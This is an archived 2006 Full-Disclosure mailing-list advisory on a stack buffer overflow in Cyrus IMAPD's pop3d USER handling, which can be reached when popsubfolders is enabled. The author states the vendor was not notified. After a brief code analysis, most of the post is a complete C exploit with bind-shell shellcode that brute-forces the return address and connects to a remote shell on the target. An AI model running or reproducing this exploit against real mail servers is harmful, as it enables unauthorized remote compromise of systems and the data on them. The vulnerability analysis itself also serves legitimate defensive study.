Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:12754
HistoryMay 22, 2006 - 12:00 a.m.

[Full-disclosure] Cyrus IMAPD pop3d remote compromise aka cyrusFUCK3d

2006-05-2200:00:00
vulners.com
3

Shouts to blackzero, alex, wY!, revoguard, bogus, wtfomg and all those
yankees
LOVE TO LISA :-)
genuine advisory by kcope/zeroday discovered by kcope!!! kingcope[at]gmx.net
public disclosure 21. May 2006
vendor was not notified (mail quota exceeded???) fuck it
let's get to business

Cyrus-imapd pop3d Remote Stack Based Buffer Overrun

Description
There is a trivially remotely exploitable Buffer Overrun in
Cyrus-imapd's pop3d.
The issue is not present in the default install, Cyrus-imapd has to have the
popsubfolders set to 1 in imapd.conf.
From the manpage:
popsubfolders: 1
Allow access to subfolders of INBOX via POP3 by using userid+subfolder
syntax as the authentication/authorization id.

When popsubfolders is set one can overflow a stack buffer by sending an
overly long
USER command argument to the remote pop3d.

in cyrus-imapd-2.3.2/imap/pop3d.c
pop3d_canon_user is called every time a USER command is supplied to the
pop3 server
with ulen=0;
look specifically at the
char userbuf[MAX_MAILBOX_NAME+1], *p;

if (!ulen) ulen = strlen(user);

memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';

memcpy will overflow the userbuf buffer, if the user is above
MAX_MAILBOX_NAME+1,
no length check is done in this routine.

— snip —
static int popd_canon_user(sasl_conn_t *conn, void *context,
const char *user, unsigned ulen,
unsigned flags, const char *user_realm,
char *out, unsigned out_max, unsigned *out_ulen)
{
char userbuf[MAX_MAILBOX_NAME+1], *p;
size_t n;
int r;

if (!ulen) ulen = strlen(user);

if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
/* make a working copy of the auth[z]id */
memcpy(userbuf, user, ulen);
userbuf[ulen] = '\0';
user = userbuf;

/* See if we're trying to access a subfolder */
if ((p = strchr(userbuf, '+'))) {
    n = config_virtdomains ? strcspn(p, "@") : strlen(p);

    if (flags & SASL_CU_AUTHZID) {
    /* make a copy of the subfolder */
    if (popd_subfolder) free(popd_subfolder);
    popd_subfolder = xstrndup(p, n);
    }

    /* strip the subfolder from the auth[z]id */
    memmove(p, p+n, strlen(p+n)+1);
    ulen -= n;
}
}

r = mysasl_canon_user(conn, context, user, ulen, flags, user_realm,
          out, out_max, out_ulen);

if (!r && popd_subfolder && flags == SASL_CU_AUTHZID) {
/* If we're only doing the authzid, put back the subfolder
   in case its used in the challenge/response calculation */
n = strlen(popd_subfolder);
if (*out_ulen + n > out_max) {
    sasl_seterror(conn, 0, "buffer overflow while canonicalizing");
    r = SASL_BUFOVER;
}
else {
    p = (config_virtdomains && (p = strchr(out, '@'))) ?
    p : out + *out_ulen;
    memmove(p+n, p, strlen(p)+1);
    memcpy(p, popd_subfolder, n);
    *out_ulen += n;
}
}

return r;

}
— snip —

Attached is a working zeroday exploit for the mentioned vulnerability.
It brute forces the stack offset to spawn a uid/gid cyrus shell.
Maybe it needs a bit of tweaking to exploit cyrus servers in the wild,
since it was only tested locally on a debian install.
No further attempts to gain uid/gid root where done… maybe setreuid in
shellcode?

/* zeroday warez

  • !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!

  • cyruspop3d.c - cyrus pop3d remote exploit by kcope
  • tested on cyrus-imapd-2.3.2,linux
  • bug found 23 Apr 2006 by kcope
    *--------------------------------------------
  • imapd/pop3d.c line 1830 :
  • char userbuf[MAX_MAILBOX_NAME+1], *p;
  • if (!ulen) ulen = strlen(user);
  • if (config_getswitch(IMAPOPT_POPSUBFOLDERS)) {
  • memcpy(userbuf, user, ulen);
  • userbuf[ulen] = '\0';
  • popsubfolders has to be enabled
  • thnx to blackzero revoguard wY! qobaiashi bogus alex
  • Love to Lisa :-)

  • !!! PRIVATE - DONT DISTRIBUTE - PRIVATE !!!
    */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define POP3PORT 110
#define BINDPORT 13370

unsigned char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

int do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
static int done=0;
int s;

if &#40;!inet_aton&#40;remotehost, &amp;addr.sin_addr&#41; &amp;&amp; &#40;done != 1&#41;&#41;
{
    host = gethostbyname&#40;remotehost&#41;;
    if &#40;!host&#41;
    {
        perror&#40;&quot;gethostbyname&#40;&#41; failed&quot;&#41;;
        return -1;
    }
    addr.sin_addr = *&#40;struct in_addr*&#41;host-&gt;h_addr;
}    

s = socket&#40;PF_INET, SOCK_STREAM, 0&#41;;
if &#40;s == -1&#41;
{
    close&#40;s&#41;;
    perror&#40;&quot;socket&#40;&#41; failed&quot;&#41;;
    return -1;
}    

addr.sin_port = htons&#40;port&#41;;
addr.sin_family = AF_INET;

if &#40;connect&#40;s, &#40;struct sockaddr*&#41;&amp;addr, sizeof&#40;addr&#41;&#41; == -1&#41;
{
    close&#40;s&#41;;
    if &#40;port == POP3PORT&#41; perror&#40;&quot;connect&#40;&#41; failed&quot;&#41;;
    return -1;
}    

done=1;
return s;

}

void do_exploit(int sock, unsigned int returnaddr)
{
char nops[360];
char nops2[100];
char exploitbuffer[1024];
char recvbuf[30];

memset&#40;&amp;nops[0], &#39;&#92;0&#39;, sizeof&#40;nops&#41;&#41;;
memset&#40;&amp;nops[0], &#39;A&#39;, 352&#41;;
memset&#40;&amp;nops2[0], &#39;&#92;0&#39;, sizeof&#40;nops2&#41;&#41;;
memset&#40;&amp;nops2[0], &#39;A&#39;, 90&#41;;

while &#40;1&#41; {
    recv&#40;sock, recvbuf, 1, 0&#41;;
    if &#40;&#40;recvbuf[0] == &#39;&#92;r&#39;&#41; || &#40;recvbuf[0] == &#39;&#92;n&#39;&#41;&#41; break;
}    

sprintf&#40;exploitbuffer, &quot;USER &#37;s&#37;s&#37;s&#92;r&#92;n&quot;, nops, shellcode, nops2&#41;;

exploitbuffer[strlen&#40;exploitbuffer&#41;-1] = &#40;returnaddr &gt;&gt; 24&#41; &amp; 0xff;
exploitbuffer[strlen&#40;exploitbuffer&#41;-2] = &#40;returnaddr &gt;&gt; 16&#41; &amp; 0xff;
exploitbuffer[strlen&#40;exploitbuffer&#41;-3] = &#40;returnaddr &gt;&gt; 8&#41; &amp; 0xff;
exploitbuffer[strlen&#40;exploitbuffer&#41;-4] = &#40;returnaddr&#41; &amp; 0xff;

send&#40;sock, exploitbuffer, strlen&#40;exploitbuffer&#41;, 0&#41;;
recv&#40;sock, recvbuf, sizeof&#40;recvbuf&#41;-1, 0&#41;;

}

int do_checkvulnerable(int sock) {
char checkbuffer[1024];
char recvbuffer[10];

memset&#40;&amp;checkbuffer[0], &#39;&#92;0&#39;, sizeof&#40;checkbuffer&#41;-1&#41;;
memset&#40;&amp;checkbuffer[0], &#39;A&#39;, sizeof&#40;checkbuffer&#41;-2&#41;;
checkbuffer[0]=&#39;U&#39;;
checkbuffer[1]=&#39;S&#39;;
checkbuffer[2]=&#39;E&#39;;
checkbuffer[3]=&#39;R&#39;;
checkbuffer[4]=&#39; &#39;;
checkbuffer[sizeof&#40;checkbuffer&#41;-3]=&#39;&#92;r&#39;;
checkbuffer[sizeof&#40;checkbuffer&#41;-2]=&#39;&#92;n&#39;;

while &#40;1&#41; {
    recv&#40;sock, recvbuffer, 1, 0&#41;;
    if &#40;&#40;recvbuffer[0] == &#39;&#92;r&#39;&#41; || &#40;recvbuffer[0] == &#39;&#92;n&#39;&#41;&#41; break;
}

send&#40;sock, checkbuffer, strlen&#40;checkbuffer&#41;, 0&#41;;
    
if &#40;recv&#40;sock, recvbuffer, sizeof&#40;recvbuffer&#41;-1, MSG_WAITALL&#41; &lt; 3&#41;
    return 0;

return -1;

}

int do_remote_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}

int main(int argc, char **argv)
{
char remotehost[255];
int s,s2,i;
unsigned int returnaddr;

printf&#40;&quot;cyrus pop3d remote exploit [kcope/2006]&#92;n&quot;&#41;;

if &#40;argc &lt; 3&#41; {
    printf&#40;&quot;usage: &#37;s &lt;remote host&gt; &lt;brute force start return 

address>\n", argv[0]);
printf("eg: %s localhost bfffa000\n", argv[0]);
return 1;
}

strcpy&#40;remotehost, argv[1]&#41;; //uhoho
if &#40;sscanf&#40;argv[2], &quot;&#37;8x&quot;, &amp;returnaddr&#41; == 0&#41; {
    printf&#40;&quot;Specify valid start return address&#92;n&quot;&#41;;
    return 1;
}

printf&#40;&quot;Checking if vulnerable... &quot;&#41;;
s=do_connect&#40;remotehost, POP3PORT&#41;;
if &#40;do_checkvulnerable&#40;s&#41; == -1&#41; {
    close&#40;s&#41;;    
    printf&#40;&quot;&#92;ncyrus pop3d seems not to be vulnerable&#92;nno 

popsubfolders defined at remote host?\n");
return 1;
}
close(s);
printf("SUCCESS!\n");

while &#40;returnaddr &lt; 0xbfffffff&#41; {
    returnaddr+=16;

    printf&#40;&quot;CRACKADDR = &#37;4x&#92;n&quot;, returnaddr&#41;;
    fflush&#40;stdout&#41;;
    s=do_connect&#40;remotehost, POP3PORT&#41;;
    if &#40;s==-1&#41;
        return 1;

    do_exploit&#40;s, returnaddr&#41;;
    for &#40;i=0;i&lt;2;i++&#41; {
        if &#40;&#40;s2=do_connect&#40;remotehost, BINDPORT&#41;&#41; != -1&#41; {
            printf&#40;&quot;&#92;nALEX,ALEX WE GOT IT!!!&#92;n&quot;&#41;;
            do_remote_shell&#40;s2&#41;;
            return 0;
        }
        close&#40;s2&#41;;
    }
    
    close&#40;s&#41;;
}
        
return 0;

}


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/